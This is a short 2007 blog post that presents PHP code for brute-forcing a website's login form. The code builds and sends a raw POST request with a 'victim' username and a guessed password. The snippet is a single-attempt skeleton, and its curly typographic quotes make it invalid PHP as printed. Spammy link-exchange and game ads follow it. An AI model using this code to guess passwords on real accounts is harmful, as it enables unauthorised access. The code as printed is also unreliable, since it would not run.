PHP Brute Force an Authentication Form


Written on September 4, 2007 – 9:49 pm | by admin

See PHP source code Brute Force Security



<?php $username = 'victim';
$password = 'guess';

$content = “username=$username&password=$password”;
$content_length = strlen($content);

$http_request = ”;
$http_response = ”;

$http_request .= “POST /login.php HTTP/1.1\r\n”;
$http_request .= “Host: example.org\r\n”;
$http_request .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$http_request .= “Content-Length: $content_length\r\n”;
$http_request .= “Connection: close\r\n”;
$http_request .= “\r\n”;
$http_request .= $content;

if ($handle = fsockopen(’example.org’, 80))
{
fputs($handle, $http_request);

while (!feof($handle))
{
$http_response .= fgets($handle, 1024);
}

fclose($handle);

/* Check Response */
}
else
{
/* Error */
}

?>

No tag for this post.

Related posts

Post a Comment



Relevant Link Exchange Program
Increase your website's search engine rankings and traffic with Link Diary, which Helps you find relevant reciprocal and three way links.
Crime Nations Mafia MMORPG Arcade
Crime Nations Ca. It is an amazing free mass online game where you can mug/beat/hack/spy/stab/shoot/bomb/extort, jailbust, and pretty much do what ever you want to the opposition, including killing them. You can choose from over 12 classes, and 25 c